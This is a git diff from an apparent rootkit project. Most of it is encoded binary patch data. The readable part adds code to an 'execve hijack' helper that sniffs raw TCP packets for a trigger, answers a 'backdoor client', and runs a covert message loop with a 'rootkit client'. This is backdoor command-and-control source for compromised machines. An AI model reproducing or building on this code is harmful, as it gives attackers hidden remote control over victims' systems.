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 I4h~WL0~MjTr2qf` diff --git a/src/helpers/execve_hijack.c b/src/helpers/execve_hijack.c index 840c4e3..0408387 100644 --- a/src/helpers/execve_hijack.c +++ b/src/helpers/execve_hijack.c @@ -8,8 +8,39 @@ #include #include #include +#include +#include +#include +#include +#include +#include +#include #include "lib/RawTCP.h" +#include "../common/c&c.h" + +char* getLocalIpAddress(){ + char hostbuffer[256]; + char* IPbuffer = calloc(256, sizeof(char)); + struct hostent *host_entry; + int hostname; + + hostname = gethostname(hostbuffer, sizeof(hostbuffer)); + if(hostname==-1){ + exit(1); + } + + host_entry = gethostbyname(hostbuffer); + if(host_entry == NULL){ + exit(1); + } + + // To convert an Internet network + // address into ASCII string + strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0]))); + + return IPbuffer; +} int main(int argc, char* argv[]){ printf("Hello world from execve hijacker\n"); @@ -48,5 +79,42 @@ int main(int argc, char* argv[]){ close(fd); + + packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN); + + //TODO GET THE IP FROM THE BACKDOOR CLIENT + char* local_ip = getLocalIpAddress(); + char remote_ip[16]; + inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16); + printf("IP: %s\n", local_ip); + + packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK); + if(rawsocket_send(packet_ack)<0){ + return -1; + } + + //Start of pseudo connection with the rootkit client + int connection_close = 0; + while(!connection_close){ + packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG); + printf("Received client message\n"); + char* payload = packet.payload; + char *p; + p = strtok(payload, "#"); + p = strtok(NULL, "#"); + if(p){ + if(strcmp(p, CC_PROT_FIN_PART)==0){ + printf("Connection closed by request\n"); + connection_close = 1; + }else{ + printf("Received request: %s\n", p); + packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_MSG); + if(rawsocket_send(packet_res)<0){ + return -1; + } + } + } + } + return 0; } \ No newline at end of file diff --git a/src/helpers/execve_hijack.o b/src/helpers/execve_hijack.o index 2c650494b833eacfc9830c582e51b36de2e0b91a..abdc4fb803f130602bac2b7c7bebc365336ec7a2 100644 GIT binary patch literal 4896 zcmb_gU2GIp6u#RQC~HeAf>uGCq^XoBORF&v6y0{+b{b3hH~66Aba&bg?9ME+Gte3h z;If#_WD^oYLX0FBHELoakdy#PX@h9NsHr643nqQg1S~|1FO4Ct=iIrM-cEOXP)~B_ z&i&4Je(uklyV-s5?v9F3h;Rv!=g7>6ql6r_$)c$Q8e^y zJTm8ji|gnjH-a6R#dJND8*PwX;y%qnUXWccYT@c#Ck$~nOef{XYG}gtJj%cPg>Oa$ znvz@?o`871>B+_QIIXgI&PjV3({}T;W0Qu-5SZ>b%?~|It!J4Xm5WQhLZU2qLZl>m%hsh z2t#v{i!~K4Wu3#VkPF|joO6^2q0m;~hbHPylY?W z1D3JiAx{N{^b~xxi+KrFTlSLTXJKYhU^l8!?=o7ZMlQxD&(_oFUl@gTWIOG8yfXU$ zCwmhO;Y`Zz5$Y{>vsy0J;xcS*J4?V>SK+o?`2JjTBWzCek(n<*&RwjRfn6HTfQ!=b z0DZnjpF8LiU3+IOcd;cuHWWUC@QvqTgU0F6$0#>ezz`DO@0;hWv+BkV!))up8fHto z*^2_o22^_JDEjpRGdwqfYEpObBxt~eK<4Y3A9EVSm|li>mZtV`i?S;iKOqlUcs#O@gh?!>Y<;;HIxA!`R?MSUHktZW9t6Lp9Y+c0woFySu(D0ITU;c9wuU zHD&AINX5<}R998qXohDzBsUVm`dzfqMYu1p!|m;I9Zcl!Lqclz=Z3 z@V5nA`!MKG-V*qWVa)lT`1mc9O~@&Mf1kj=CE!@AxgQAwg7CO8 zZ%9@$9OoXi84nWX{xXvpX&iOA<79kx1zX32Fcej8)DB#C@e)zfnNZ^a}`pn1ISlp8W zUp$9j`}l7%{uP1$kdV)00RPtjel0Ex2w#VN-jFP1ICjgR@pX`Ve7tv1ngqU>f4h(W zfk!9Z0$<#hJ|Ca2XI|io`|`eki~Dj_z{NTsvG_P&Y+R!3h2#8wC6Vk<+E#m^hpI^X z0sdxbDK%nigEomIRa+&IUbqz^mgx-=W*UDVl89m2S_FPut)>;8jr$EJlChwITlNsx zpeJoW>9g>@_&-DfCs-P=R*Mp4gKKPkxQ>+(KBRk&l;~Z=duhQU404ItW9>y-tl22I zHz~Vgg@cen-4odzm@+$os!jyjQ7Qpd7_2*yB>?LN$JAeK=L4iK~_RY+G2RCHB-yTn4 zx&5EUj~j%q3+_MOp(Wig!0U{DAK*GKS^9>2!!R73m O+5cHK^)mDD+y4z};$(CH literal 2600 zcmb_d&5ImG6o0+D*?hRW86`*{Dh;|JYSP&u81jK(c9z;Lb#+6`o;)X`1A5D!5YIx89Av3i{)t|BX*&)LKB?g>=&5=R@u8wZ%6`@vO0>rd(lyUSB-YA#{-*VzV{+$*PSgJ0pDJ--SMDeH3M z7EenEC%;MOKhl)&y2dsPoH@yEezJc38m{E0>JY^hIc(Arc4wXS$m-r}DeG|;J+k|} zGd7g6JJ)Fgc=Cr#W{vgGWuIf*+I>5!SL@b1-?>}7TZ;pw*j<<>B-}sqQLE)b72j-<9^q0+*FldUO9kHekmD^%i zeq91tRDcmwO4znxoBLo9aPzx_4PztOlXYNxdQ-Hr)fG-r_iv{>c1vqRuf6Il2Q*VMjH@{Gwp0^ifXFp_T?X%O>d1gba9Y^2? zuH(n`h6hgMioO-roAC++Ew2fe!g}n1>j#kswjIS-d$wD5uZH))yX`46=b6H0Zqns~NS zssU2fi?x>~QTAgaT)l&Yk=)J)%HSvBA4HsdKCL~yKNM=qS>m`S|np9w*3W-o7P)W6DtW zd3&nDLFd0$7L+F!gUygm8MpFKiQlJ)1)K$HCb(f@6b O{gli<)@(`5+y4(_uZ3*@ diff --git a/src/helpers/lib/libRawTCP_Lib.a b/src/helpers/lib/libRawTCP_Lib.a index 7662f7dd2640b30e6dc93938ae982d54a4a8c364..a7c465a8af5e9e0a591e3774dd214a4bf3759308 100644 GIT binary patch delta 639 zcmYjOUr3Wt6#wq|cIQ5~x#`xoxoCxD4Q41lxY@%u%cPN7Ndz|9ET|qbX3Nc#8Ylx{ zE!Ob7_)wdg#G;Vod#XV=8N1pYpd#QjsY_sx-LWjiUa=1k#E*-kz!vIj zFwR1+UhR$XybpAB8n%FKuIm(T5BubvyBCR2l`-Wz%y(JHd*#HnL{W47N{|~5-wevh zd+Pu#Dzpd0=Kks}IZknAX5~r^BRF&40+&@-ydaWUTxFz=;z~g5JVBX^LFuqC+v)KC zmuElpFMo$((l3&n+?Z-_ARBlz?Gh$;GXX;uXVNYZ)XF2`Z^^L}8Z!EY#x@Lu4#}4ueQEs*1jEbM delta 615 zcmYjNUr3Wt9R2S7c6I+VrfO;ur6iV?9`kb6u$}_S65=S#ep0*b9YXtyOR1-F2fKT#`AN(=@`Sp z-f^{a=Cg*D38dK(5>zK=ztGBL$1aH+P$w^MkbV>0X$>)ZOnZ!(Xj?rqc$nz~lOA$5 zYGw5<=AZ!^Gah1wk4zq9dhz5GV`5W^8SgMcJFHYzAH;JEKFNn{!Y7q0c?QguYxJP0 z#vd2OAH-OzQ$p*SlgBKx*9K{eP_cT}vOODbuN5eLU1$izy!mvChsqd3^bLH*tR^9ryjaG$FdEkQU^5^`gY91+I*O f^+hf9QiPwnb;7^AudvqNOM@K